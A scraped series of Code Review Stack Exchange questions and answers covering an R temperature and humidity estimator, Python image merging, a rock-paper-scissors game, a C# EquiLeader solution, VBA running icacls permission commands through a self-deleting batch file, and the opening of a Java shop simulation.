<p>I built an algorithm to estimate real-time temperature and humidity values ​based on daily values ​of the same variables. The algorithm works, however the speed with which it processes the information is too slow and this causes me problems when the data is of many years or decades.</p> <p>I need to increase the processing speed. I attach the algorithm:</p> <pre><code>names(hrTable) &lt;- c("date","tmin","tminnext","tmax","tdew","tdewnext", "dayIndex") </code></pre> <p><code>hrTable</code> is a dataframe that contains 8 columns, the first is "date" that contains the date in format <code>"%Y-%m-%d"</code>. The rest are numerical variables.</p> <blockquote> <pre><code>Ejemplo : 1995-01-20, 12, 13, 25, 15, 16, 360 </code></pre> </blockquote> <pre><code>CalculateHumidHoursAndHumidTemp1 &lt;- function(hrTable,yearLength,lat,incli,rhThreshold,verbose) { nrowTab = nrow(hrTable); lines2 = split(hrTable,rep(1:nrowTab,each=1)); hrResult = c("hrvalues"); HumHr = 0; AccumHumHr = 0; HumTm = 0; AccumHumTm = 0; day0 = 1; dayn = nrowTab; for(k in day0:dayn) { line2 = lines2[[k]]; HumHr = 0; tempArray2 = line2; date2 = tempArray2[1]; tMin = tempArray2[2]; tMinNext = tempArray2[3]; #ENTERO PARA PODER COMPARAR EN LA TABLA tMax = tempArray2[4]; tDew = tempArray2[5]; tDewNext = tempArray2[6]; dayIndex = tempArray2[7]; alpha = tMax - tMin; t0 = tMax - 0.39*(tMax - tMinNext); r = tMax - t0; sindec = -1.0*incli*cos(6.283185307179586*((dayIndex + 10)/yearLength)); cosdec = sqrt(abs(1.0 - (sindec * sindec))); b = cos(lat*(3.141592653589793/180.0))*cosdec; a = sin(lat*(3.141592653589793/180.0))*sindec; dayLength = 12.0*(1.0 + (0.6366197723675814*sin(a/b))); ho = 12.0 + (dayLength/2.0); hn = 12.0 - (dayLength/2.0); hp = hn + 24.0; beta = (tMinNext - t0)/(sqrt(abs(hp - ho))); hx = ho - 4.0; h = as.numeric(round(hn)); if (verbose) { print(paste(hn,ho)); } for(n in 1:24) { tAux1 = 0; tAux2 = 0; tAux3 = 0; hour = h + n; if (hour &gt;= hn &amp;&amp; hour &lt; hx) { tAux1 = tMin + alpha*sin(((hour - hn)/(hx - hn))*(3.141592653589793/2.0)); } if (hour &gt;= hx &amp;&amp; hour &lt;= ho) { tAux2 = t0 + r*sin(1.5707963267948966 + ((hour - hx)/4.0)*(3.141592653589793/2.0)); } if (hour &gt; ho &amp;&amp; hour &lt;= hp) { tAux3 = t0 + beta*sqrt(hour - ho); } tSum = tAux1 + tAux2 + tAux3; if (verbose) { print(paste("Indice=",n,"\tHour", hour,"\ttSum=",tSum ,"\tTaux1=",tAux1,"\ttAux2=",tAux2,"\ntAux3=",tAux3," dayLength=",dayLength," a=",a," b=",b)); } es = 611.0*exp(17.27*(tSum/(237.3+tSum))); if (hour &lt;= 24) { e = 611.0*exp(17.27*(tDew/(237.3+tDew))); hr = (e/es)*100.0; if (hr &gt; rhThreshold) { HumHr = HumHr + 1; HumTm = tSum + HumTm; } if (verbose) { print(paste("Indice=",n,"\tHour",hour,"\te=",e,"\tes=",es)); } } if (hour &gt; 24) { e = 611.0*exp(17.27*(tDewNext/(237.3+tDewNext))); hr = (e/es)*100; if (hr &gt; rhThreshold) { AccumHumHr = AccumHumHr + 1; AccumHumTm = tSum + AccumHumTm; } if (verbose) { print(paste("Indice=",n,"\tHour",hour,"\te=",e,"\tes=",es)); } } hrResult = paste(hrResult,hr,tSum) } if (verbose) { print(paste("Horas Humedas= ",HumHr,"Temp Humedad= ",HumTm)); } } return(hrResult) } HhrandHt &lt;- CalculateHumidHoursAndHumidTemp1(hrTable,365,-12,12,90,T) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:29:21.683", "Id": "452672", "Score": "3", "body": "Welcome to Code Review! The current question title, which states your concerns about the code, is too general to be useful here. Please [edit] to the site standard, which is for the title to simply state **the task accomplished by the code**. Please see [How to get the best value out of Code Review: Asking Questions](//codereview.meta.stackexchange.com/q/2436) for guidance on writing good question titles." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:33:44.917", "Id": "452673", "Score": "4", "body": "Can you maybe provide a sample of the data in `hrTable` like so: `dput(head(hrTable, n = 50))`? It makes testing and understanding your code a bit easier." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:11:15.227", "Id": "452743", "Score": "1", "body": "What do you mean by \"too slow\"? What would be an acceptable speed?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:13:04.513", "Id": "452744", "Score": "2", "body": "You should always format your code properly before pasting it here. Currently the indentation and spacing is totally broken. Remember that code is written for humans to read and understand ideas, and only incidentally for computers to execute." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T23:00:48.323", "Id": "452747", "Score": "1", "body": "You say \"4 columns\" but then list 8 columns. That's inconsistent." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T02:57:27.860", "Id": "452756", "Score": "0", "body": "(actually, I count 7 column names, and 7 values in `Ejemplo` and extracted from `tempArray2 = line2`. Then again, *\"tminnext\", \"tdewnext\"* and *\"dayIndex\"* may be *derived* values.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:45:25.750", "Id": "452797", "Score": "0", "body": "Thank you for your comments; \"tminnext\", \"tdewnext\" and \"dayIndex\" are the minimum temperature of the next day, the dew temperature of the next day and the index of the day with respect to the year (1 to 365)." } ]
[ { "body": "<p>The first thing to improve about your <em>code</em>/<em>procedure</em> is <em>readability</em>.<br>\n<em>Not</em> \"just\" for others trying to understand your code, but for your latter self should you want to maintain it.<br>\n<em>I</em> don't know the first thing about R. The first style guide a superficial web search turned up is from <a href=\"http://adv-r.had.co.nz/Style.html\" rel=\"nofollow noreferrer\">Hadley Wickham's <em>Advanced R</em></a>, characterised as <code>short and sweet</code>.</p>\n\n<p>Things I think to harm readability:</p>\n\n<ul>\n<li><p>(lack of) <a href=\"https://codereview.stackexchange.com/questions/231950/r-optimize-algorithm-speed-that-estimates-hourly-temperature-and-relative-humid#comment452744_231950\">structuring source code by formatting</a></p></li>\n<li><p>(lack of) documentation in the source code: What is \"everything\" about?<br>\nWhat is the <em>problem</em> to solve, the <em>sequence of well-defined steps</em> perceived to solve it?</p></li>\n<li>abbreviated names without an illuminating comment: is \"hr\" for <em>hour</em> or <em>humidity, relative</em> or something entirely else?<br>\n<code>hx</code> seems to be <em>four hours before sunset</em> - what does the x signify, and why 4 hours?</li>\n<li>in-line arithmetic with <em>magical constants</em>: while I can guess that <code>lat*(3.141592653589793/180.0)</code> is <code>radian(</code><em><code>latitude in degrees</code></em><code>)</code>, I'd rather not.<br>\nWhat is the significance of 10 in <code>dayIndex + 10</code>,<br>\n0.39 in <code>tMax - 0.39*(tMax - tMinNext)</code>, why isn't the latter just <code>0.39*tMinNext + 0.61*tMax</code>?</li>\n<li>computing things that don't get used<br>\nThe only things I see used (pasted to <code>hrResult</code> - see below) are <code>hr</code> and <code>tSum</code>;<br>\n<em>some</em> code struggles with <code>HumHr</code>/<code>HumTm</code> and \"their Accum counterparts\".</li>\n</ul>\n\n<p>Once the code is readable, one can start pondering performance impact:<br>\nIs there anything straining the memory hierarchy?<br>\nDo costly actions get repeated instead of results reused?<br>\nThen, there is general advice like <em>Use Vectorisation</em>,<br>\nand (resource demand) pitfalls - using <code>paste()</code> to accumulate the result may be one.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:51:18.523", "Id": "452798", "Score": "0", "body": "Thank you for your comments, I will correct my code and upload it again." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:07:28.613", "Id": "452816", "Score": "1", "body": "@MarvinJónathanQuispeSedano be sure to [ask a new question](https://codereview.meta.stackexchange.com/questions/1065/how-to-post-a-follow-up-question)." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T04:06:33.707", "Id": "231994", "ParentId": "231950", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:03:04.807", "Id": "231950", "Score": "1", "Tags": [ "performance", "algorithm", "r" ], "Title": "R: Optimize algorithm speed that estimates hourly temperature and relative humidity" }
231950
<p>This code is about merging two or more images. Minimum images are two while maximum images loaded are four. So I will check how many images the user wants to merge. If the user chooses 2 and selects the merge type, two images will be checked for their height or width to resize then append them. I keep using the code for 3 and 4 images loaded. Please review with a focus on design patterns I could use here;</p> <pre><code>def resized_image(self, src, w, h): resize_image = cv2.resize(src, (w, h), interpolation=cv2.INTER_CUBIC) return resize_image def showall(self): global b try: img1 = cv2.imread(image) h1, w1, c1 = img1.shape img2 = cv2.imread(self.img2) h2, w2, c2 = img2.shape arr = [] # create empty list if self.count_cbox.currentText() == "2": if self.merge_cbox.currentText() == "Horizontal": self.axis = 1 if h1 &gt;= h2: factor = h1 / h2 arr.append(self.resized_image(img1, w1, h1)) arr.append(self.resized_image(img2, int(w2 * factor), int(h2 * factor))) elif h2 &gt;= h1: factor = h2 / h1 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, w2, h2)) elif self.merge_cbox.currentText() == "Vertical": self.axis = 0 if w1 &gt;= w2: factor = w1 / w2 arr.append(self.resized_image(img1, w1, h1)) arr.append(self.resized_image(img2, int(w2 * factor), int(h2 * factor))) elif w2 &gt;= w1: factor = w2 / w1 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, w2, h2)) elif self.count_cbox.currentText() == "3": img3 = cv2.imread(self.img3) h3, w3, c3 = img3.shape if self.merge_cbox.currentText() == "Horizontal": self.axis = 1 if h1 &gt;= h2 and h1 &gt;= h3: factor = h1 / h2 factor2 = h1 / h3 arr.append(self.resized_image(img1, w1, h1)) arr.append(self.resized_image(img2, int(w2 * factor), int(h2 * factor))) arr.append(self.resized_image(img3, int(w3 * factor2), int(h3 * factor2))) elif h2 &gt;= h1 and h2 &gt;= h3: factor = h2 / h1 factor2 = h2 / h3 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, w2, h2)) arr.append(self.resized_image(img3, int(w3 * factor2), int(h3 * factor2))) else: factor = h3 / h1 factor2 = h3 / h2 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, int(w2 * factor2), int(h2 * factor2))) arr.append(self.resized_image(img3, w3, h3)) elif self.merge_cbox.currentText() == "Vertical": self.axis = 0 if w1 &gt;= w2 and w1 &gt;= w3: factor = w1 / w2 factor2 = w1 / w3 arr.append(self.resized_image(img1, w1, h1)) arr.append(self.resized_image(img2, int(w2 * factor), int(h2 * factor))) arr.append(self.resized_image(img3, int(w3 * factor2), int(h3 * factor2))) elif w2 &gt;= w1 and w2 &gt;= w3: factor = w2 / w1 factor2 = w2 / w3 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, w2, h2)) arr.append(self.resized_image(img3, int(w3 * factor2), int(h3 * factor2))) else: factor = w3 / w1 factor2 = w3 / w2 arr.append(self.resized_image(img1, int(w1 * factor), int(h1 * factor))) arr.append(self.resized_image(img2, int(w2 * factor2), int(h2 * factor2))) arr.append(self.resized_image(img3, w3, h3)) for i in enumerate(arr): b = np.concatenate((arr), axis=self.axis) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-19T15:19:00.887", "Id": "454380", "Score": "2", "body": "Do you have an example of use as well as some test images?" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:45:03.003", "Id": "231951", "Score": "4", "Tags": [ "python", "opencv" ], "Title": "Merging two, three or four images" }
231951
<p>I have just finished learning basic-intermediate Python subjects and wanted to test myself. So here is the my basic Rock-Paper-Scissors game.</p> <pre class="lang-py prettyprint-override"><code>def play(): import random player_score = 0 ai_score = 0 while True: try: user_choice = int(input("\nRock: 1" "\nPaper: 2" "\nScissor: 3" "\nWrite the number of the object you choose: ")) except NameError: print("You can only enter number.") continue except ValueError: print("You can only enter number.") continue if user_choice not in range(1, 4): print("Invalid number, you have to write numbers between 1-3") continue rps = {1: "Rock", 2: "Paper", 3: "Scissor"} ai_choice = random.randint(1, 3) print(f"\nPlayer's choice: {rps[user_choice]} | AI's choice: {rps[ai_choice]}") if user_choice == ai_choice: print("Draw!") elif user_choice == 1: if ai_choice == 2: print("AI's paper wrapped Player's rock, AI won this round!") ai_score += 1 elif ai_choice == 3: print("Player's rock crushed AI's scissor, Player won this round!") player_score += 1 elif user_choice == 2: if ai_choice == 1: print("Players's paper wrapped AI's rock, Player won this round!") player_score += 1 elif ai_choice == 3: print("AI's scissor cut Player's paper, AI won this round!") ai_score += 1 elif user_choice == 3: if ai_choice == 1: print("AI's rock crushed Player's scissor, AI won this round!") ai_score += 1 elif ai_choice == 2: print("Player's scissor cut AI's paper, Player won this round!") player_score += 1 print(f"\nPlayer's score: {player_score} | AI's score: {ai_score}" f"\nGame ends when player or AI's score reach 3!") if player_score == 3: print("Game over, Player won!") quit() elif ai_score == 3: print("Game over, AI won!") proceed = input("Wanna try again and show the AI your unmatched and great wisdom?" "\nWrite Y or N &gt;: ").lower() if proceed == "y": play() elif proceed == "n": quit() else: print("Invalid command, exiting program...") quit() if __name__ == "__main__": play() </code></pre> <p>So, what do you think? How can i make it better, what are my mistakes?</p>
[]
[ { "body": "<p>I'd say there is two major issues in your code.</p>\n\n<p><strong>First one is</strong> that main loop which is very unclear, many if statements, filled with <code>continue</code> and <code>quit()</code> , this is <strong>spagetthi code</strong> and it is makes your code harder to read, so harder to debug, because that jumps everywhere.</p>\n\n<p><strong>The second one is the lack of OOP design</strong>, which could be very adapted to this case. Games are usually developped with strongly object oriented languages (Unreal engine uses C++ and Unity uses C# among others) because of the strong interactions between components, and a very favorable context to abstraction and modularity. To be fair, that's not really needed for short games like rock paper scissors but it prevents you to scale the game further.</p>\n\n<p>There is few design improvements I suggest you:</p>\n\n<p><strong>Split your code into functions</strong>, first one could be the game winning condition that should be used in your game loop to avoid unwanted infinite loops, common with constant conditions like <code>while True:</code>. Replace this statement instead by <code>while has_game_ended():</code>, with <code>has_game_ended</code> looking like:</p>\n\n<pre><code> def has_game_ended(player_score: int, ia_score: int) -&gt; bool:\n if player_score == 3 or ia_score == 3:\n print(\"Game over: {} won!\".format(\"player\" if player_score == 3 else \"AI\"))\n return True\n return False\n</code></pre>\n\n<p>Then <strong>use an <a href=\"https://docs.python.org/fr/3/library/enum.html\" rel=\"nofollow noreferrer\">enum</a></strong> to list you moves to make them easier to reuse in your code (PAPER makes more sense than 1) and enable comparison using operator overload, note that this is a tricky comparison specific to game rules.</p>\n\n<pre><code>from enum import Enum\n\nclass Move(Enum):\n PAPER = 1\n ROCK = 2\n SCISSORS = 3\n\n def __lt__(self, other):\n return (self is Move.ROCK and other is Move.PAPER) or (self is Move.Paper and other is Move.SCISSORS) or (self is Move.SCISSORS and other is Move.ROCK)\n</code></pre>\n\n<p>Now you can write:</p>\n\n<pre><code>&gt;&gt;&gt; player_choice = Move.PAPER\n&gt;&gt;&gt; ia_choice = Move.ROCK\n&gt;&gt;&gt; player_choice &lt; ia_choice\nTrue\n</code></pre>\n\n<p>and something like</p>\n\n<pre><code>player_score = player_score + int(player_choice &gt; ia_choice)\nia_score = ia_score + int(ia_choice &gt; player_choice)\n</code></pre>\n\n<p>This works well because it's not comparing two integers anymore, it's comparing two <code>Move</code>, which makes all the difference thanks to operator overloading.</p>\n\n<p><strong>Avoid <code>quit()</code></strong> in your scripts, it totally cuts the code flow and doesn't allow nice error handling, prefer instead loop conditions or try except statements with customized Exception for unexpected behaviors (for example when you use invalid command, as in the example below).</p>\n\n<pre><code>def WrongCommand(Exception):\n pass\n\nif __name__ == \"__main__\":\n try:\n play()\n except WrongCommand:\n print(\"Invalid command, exiting program...\")\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:17:04.097", "Id": "231965", "ParentId": "231955", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T13:46:38.697", "Id": "231955", "Score": "2", "Tags": [ "python", "beginner", "python-3.x", "rock-paper-scissors" ], "Title": "A Simple Rock-Paper-Scissors Game" }
231955
<blockquote> <p>EquiLeader</p> <hr> <p>A non-empty array A consisting of N integers is given. The leader of this array is the value that occurs in more than half of the elements of A.</p> <p>An equi leader is an index S such that 0 ≤ S &lt; N − 1 and two sequences A[0], A[1], ..., A[S] and A[S + 1], A[S + 2], ..., A[N − 1] have leaders of the same value.</p> <p>For example, given array A such that:</p> <pre><code>A[0] = 4 A[1] = 3 A[2] = 4 A[3] = 4 A[4] = 4 A[5] = 2 we can find two equi leaders: </code></pre> <p>0, because sequences: (4) and (3, 4, 4, 4, 2) have the same leader, whose value is 4. 2, because sequences: (4, 3, 4) and (4, 4, 2) have the same leader, whose value is 4. The goal is to count the number of equi leaders.</p> <p>Write a function:</p> <p>class Solution { public int solution(int[] A); }</p> <p>that, given a non-empty array A consisting of N integers, returns the number of equi leaders.</p> <p>For example, given:</p> <pre><code>A[0] = 4 A[1] = 3 A[2] = 4 A[3] = 4 A[4] = 4 A[5] = 2 the function should return 2, as explained above. </code></pre> <p>Write an efficient algorithm for the following assumptions:</p> <p>N is an integer within the range [1..100,000]; each element of array A is an integer within the range [−1,000,000,000..1,000,000,000].</p> </blockquote> <p>This is the code I wrote, final score is a 100%. It took me a couple of tries (and days) like most of the solutions I'm posting here. Is it good code? What can be improved? I saw a question about SOLID a couple of hours ago, and that led me to start reading about the subject. This exercises are very specific and won't be extended, so (I know I'm not applying this principles here) should I still apply those principles to this kind of exercises (to practice and get used to them) or just leave it to real life extensible things?</p> <pre><code>using System; using System.Collections.Generic; class Solution { public int solution(int[] A) { Dictionary&lt;int, int&gt; leftPartition = new Dictionary&lt;int, int&gt;(); Dictionary&lt;int, int&gt; rightPartition = new Dictionary&lt;int, int&gt;(); int leadersCounter = 0; int leftPartitionSize = 1, rightPartitionSize = A.Length; int candidate, leader; for (int index = A.Length - 1; index &gt;= 0; index--) { candidate = A[index]; if (rightPartition.ContainsKey(candidate)) { rightPartition[candidate]++; } else { rightPartition.Add(candidate, 1); } } leader = A[0]; for (int index = 0; index &lt; A.Length; index++) { candidate = A[index]; if (leftPartition.ContainsKey(candidate)) { leftPartition[candidate]++; } else { leftPartition.Add(candidate, 1); } rightPartition[candidate]--; rightPartitionSize--; if (leftPartition[candidate] &gt; leftPartitionSize / 2) { leader = candidate; } if (leftPartition[leader] &gt; leftPartitionSize / 2 &amp;&amp; rightPartition[leader] &gt; rightPartitionSize / 2 ) { leadersCounter++; } leftPartitionSize++; } return leadersCounter; } } </code></pre>
[]
[ { "body": "<ul>\n<li><p>If you need to get a value of a <code>Dictionary&lt;TKey, TValue&gt;</code> you shouldn't us <code>ContainsKey()</code> together with the <code>Item</code> property getter but <code>TryGetValue()</code>, because by using <code>ContainsKey()</code> in combination with the <code>Item</code> getter you are doing the check if the key exists twice.<br>\nFrom the <a href=\"https://referencesource.microsoft.com/#mscorlib/system/Collections/Concurrent/ConcurrentDictionary.cs\" rel=\"nofollow noreferrer\">refernce source</a> </p>\n\n<pre><code>public bool ContainsKey(TKey key)\n{\n if (key == null) throw new ArgumentNullException(\"key\");\n\n TValue throwAwayValue;\n return TryGetValue(key, out throwAwayValue);\n}\n\npublic TValue this[TKey key]\n{\n get\n {\n TValue value;\n if (!TryGetValue(key, out value))\n {\n throw new KeyNotFoundException();\n }\n return value;\n }\n set\n {\n if (key == null) throw new ArgumentNullException(\"key\");\n TValue dummy;\n TryAddInternal(key, value, true, true, out dummy);\n }\n}\n</code></pre></li>\n<li><p>Multiple declarations of variables on a single line should be avoided because it reduces the readability of the code. </p></li>\n<li>If the type is clear from the right-hand-side of an assignment one should use <code>var</code> instead of the concrete type. </li>\n<li><p>You should declare the variables as near to their usage as possible. This makes reading the code easier as well. </p></li>\n<li><p>Althought this is from a programming excercise please note that methods should be named using <code>PascalCase</code> casing and method parameters should be named using <code>camelCase</code>casing. Meaning <code>solution</code> should be <code>Solution</code> and <code>A</code> should be <code>a</code> if we talk about casing.</p></li>\n</ul>\n\n<p>Implementing the mentioned points (without casing stuff) will look like this </p>\n\n<pre><code>public int solution(int[] A)\n{\n var leftPartition = new Dictionary&lt;int, int&gt;();\n var rightPartition = new Dictionary&lt;int, int&gt;();\n\n for (var index = A.Length - 1; index &gt;= 0; index--)\n {\n var candidate = A[index];\n rightPartition.TryGetValue(candidate, out int value);\n rightPartition[candidate] = value + 1;\n }\n\n var leadersCounter = 0;\n var leftPartitionSize = 1;\n var rightPartitionSize = A.Length;\n var leader = A[0];\n\n for (var index = 0; index &lt; A.Length; index++)\n {\n var candidate = A[index];\n\n leftPartition.TryGetValue(candidate, out int value);\n leftPartition[candidate] = value + 1;\n\n rightPartition[candidate]--;\n rightPartitionSize--;\n\n if (leftPartition[candidate] &gt; leftPartitionSize / 2)\n {\n leader = candidate;\n }\n if (leftPartition[leader] &gt; leftPartitionSize / 2 &amp;&amp; rightPartition[leader] &gt; rightPartitionSize / 2)\n {\n leadersCounter++;\n }\n leftPartitionSize++;\n }\n return leadersCounter;\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T06:05:31.253", "Id": "231998", "ParentId": "231956", "Score": "3" } } ]
{ "AcceptedAnswerId": "231998", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T13:59:19.277", "Id": "231956", "Score": "3", "Tags": [ "c#", "performance", "beginner", "programming-challenge", "array" ], "Title": "Count the number of leaders in both sides (slices) of an array in C#. Codility EquiLeaders task" }
231956
<p>I have working VBA code in excel that changes a network folders permissions.</p> <p>The code uses Wscript.Shell to run icacls commands but there are multiple instances of this command and each time it runs, it opens up a new shell window.</p> <p>It would be interesting to see if there is a way of making the code more efficient by opening a single shell instance then go on to run each of the icacls commands.</p> <pre><code>Private Sub TestingPermissions() Dim FSO Dim MyFolder Dim objShell Set FSO = CreateObject("Scripting.FileSystemObject") Set MyFolder = FSO.GetFolder(Worksheets("Config").Range("D4").Value &amp; ActiveSheet.Range("C21").Value) Set objShell = CreateObject("Wscript.Shell") ' Take ownership and modify permission of folder objShell.Run ("takeown /f " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /r /d y") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /setowner mydomain\admin") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /grant mydomain\StudentExam101:(OI)(CI)F /T") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /grant mydomain\DAdmins:(OI)(CI)F /T") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /grant mydomain\admin:(OI)(CI)F /T") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /grant SYSTEM:(OI)(CI)F /T") objShell.Run ("icacls " &amp; """" &amp; MyFolder &amp; "\My Music""" &amp; " /grant CREATOR OWNER:(OI)(CI)F /T") End Sub </code></pre> <p>I thought I had found a part solution by combining the icalcs permissions all into one command but further testing and I realised it had not worked, but I will investigate this further anyway.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:37:32.350", "Id": "452716", "Score": "0", "body": "I'd put my commands into a file and then get the shell to run the commands in my file." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:44:43.420", "Id": "452718", "Score": "0", "body": "I was thinking about having the vba create the file with the commands and run it from there, but I decided to go this way as it seems a slightly cleaner solution as their are no external files to deal with. The code shown is only a small part of what the vba script will do and it will be run many times with information updated pulled into the spread sheet from multiple sources." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:48:23.067", "Id": "452719", "Score": "0", "body": "Just a warning, this phrase `What I would like the code to be able to do ...` might make the question off-topic as it indicates either the code is not working as expected or this is a feature request, which we can't answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T20:05:56.923", "Id": "452733", "Score": "1", "body": "@pacmaninbw thanks for the tip, I'm more used to asking questions in stackoverflow so I will make a note of that. Now re-worded as: 'It would be interesting to see if there is a way of making the code more efficient'" } ]
[ { "body": "<h2>CodeReview</h2>\n\n<p>Why use the <code>Scripting.FileSystemObject</code>? <code>MyFolder</code> is just returning the folder name </p>\n\n<blockquote>\n <p>MyFolder = Worksheets(\"Config\").Range(\"D4\").Value &amp; ActiveSheet.Range(\"C21\").Value</p>\n</blockquote>\n\n<p>I would also write a function to return the folder path and a second function to create the icacls commands.</p>\n\n<h2>Fun Part: My Own Solution</h2>\n\n<p>The class below will create a self-deleting batch file. Running it in silent mode will hide the command window. The advantage of using a batch file is that you can add a pause that will allow you to inspect the results of your commands. </p>\n\n<p>Note: pause will have no effect in silent mode and the files do not delete themselves immediately but they will automatically delete after a short time.</p>\n\n<p><a href=\"https://i.stack.imgur.com/eNlsv.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eNlsv.png\" alt=\"Command Window\"></a></p>\n\n<hr>\n\n<h2>Class: BatchFile</h2>\n\n<pre><code>Attribute VB_Name = \"BatchFile\"\n\nOption Explicit\nPublic FileText As String\nPrivate Const DeleteCommand As String = \"DEL \"\"%~f0\"\"\"\n\nPublic Sub AppendLine(Text As String)\n If Len(FileText) &gt; 0 Then FileText = FileText &amp; vbNewLine\n FileText = FileText &amp; Text\nEnd Sub\n\nPublic Sub AddICacls(ByVal FolderName As String, ByVal Parameters As String)\n AppendLine \"icacls \" &amp; Chr(34) &amp; FolderName &amp; Chr(34) &amp; Parameters\nEnd Sub\n\nPublic Sub Execute(SilentMode As Boolean)\n Dim FilePath As String\n FilePath = getTempBatchFileName\n\n CreateFile FilePath\n\n Dim oShell As Object\n Set oShell = CreateObject(\"WScript.Shell\")\n\n If SilentMode Then\n oShell.Run Chr(34) &amp; FilePath &amp; Chr(34), 0\n Else\n oShell.Run Chr(34) &amp; FilePath &amp; Chr(34)\n End If\n\n Set oShell = Nothing\nEnd Sub\n\nPrivate Sub CreateFile(FilePath As String)\n Dim Text As String\n Text = FileText &amp; vbNewLine &amp; DeleteCommand\n\n Dim FileNumber As Long\n FileNumber = FreeFile\n Open FilePath For Output As FileNumber\n Print #FileNumber, Text\n Close FileNumber\n\n Debug.Print Text\nEnd Sub\n\n\nPrivate Function getTempBatchFileName() As String\n Dim n As Long\n Dim FilePath As String\n\n Do\n n = n + 1\n FilePath = Environ(\"Temp\") &amp; \"\\\" &amp; n &amp; \".bat\"\n Loop While Len(Dir(FilePath)) &gt; 0\n\n getTempBatchFileName = FilePath\nEnd Function\n</code></pre>\n\n<hr>\n\n<h2>Usage</h2>\n\n<pre><code>Sub RunICalcs()\n Const DebugMode As Boolean = True\n\n Dim Batch As New BatchFile\n Dim FolderName As String\n FolderName = getFolderPath\n\n Batch.AddICacls FolderName, \" /r /d y\"\n Batch.AddICacls FolderName, \" /setowner mydomain\\admin\"\n Batch.AddICacls FolderName, \" /grant mydomain\\StudentExam101:(OI)(CI)F /T\"\n Batch.AddICacls FolderName, \" /grant mydomain\\DAdmins:(OI)(CI)F /T\"\n Batch.AddICacls FolderName, \" /grant mydomain\\admin:(OI)(CI)F /T\"\n Batch.AddICacls FolderName, \" /grant SYSTEM:(OI)(CI)F /T\"\n Batch.AddICacls FolderName, \" /grant CREATOR OWNER:(OI)(CI)F /T\"\n\n If DebugMode Then\n Batch.AppendLine \"pause\"\n Batch.Execute False\n Else\n Batch.AppendLine \"pause\"\n Batch.Execute True\n End If\nEnd Sub\n\nFunction getFolderPath() As String\n getFolderPath = Worksheets(\"Config\").Range(\"D4\").Value &amp; ActiveSheet.Range(\"C21\").Value\nEnd Function\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T23:07:03.667", "Id": "231987", "ParentId": "231961", "Score": "6" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T15:51:37.147", "Id": "231961", "Score": "6", "Tags": [ "vba", "file-system", "windows" ], "Title": "Changing the ACL on a folder through Wscript.Shell within VBA" }
231961
<p>I implemented a sign in from different accounts on which different amounts of money lie. You must also specify what will be sold in the store. When you buy, you can put things in the basket, get them out of there, empty the basket. When you exit, the transaction will occur, and money will be withdrawn from your account. I really tried to do it right. Point out my mistakes, if they are present, please.</p> <p>void main():</p> <pre><code>public static void main(String[] args) throws CloneNotSupportedException { Account user = new Account("olenushka", "wolf", 300); Account[] dataBase = { new Account("ivan","swan", 200), new Account("fox","tail", 500), new Account("olenushka", "wolf", 300) }; Product[] assortiment = { new Product("chips",20,10), new Product("cola", 30, 5), new Product("crackers", 10, 50), new Product("wine", 100, 3), new Product("bread", 15, 4) }; Shop shopInTheForest = new Shop(dataBase,assortiment); shopInTheForest.play(user); } </code></pre> <p>class Shop:</p> <p>skeleton:</p> <pre><code>public class Shop { private Account[] dataBase; private Product[] assortiment; private Product[] basket; // i could create it as int[], but... its does not looks good private final static String CHOOSE = "Print the product number and its quantity(\"add number quantity\", or \"add number\", if quantity = 1) to add it in a basket\n" + "Print \"buy and exit\" if u want to exit and buy all that contains in a basket, 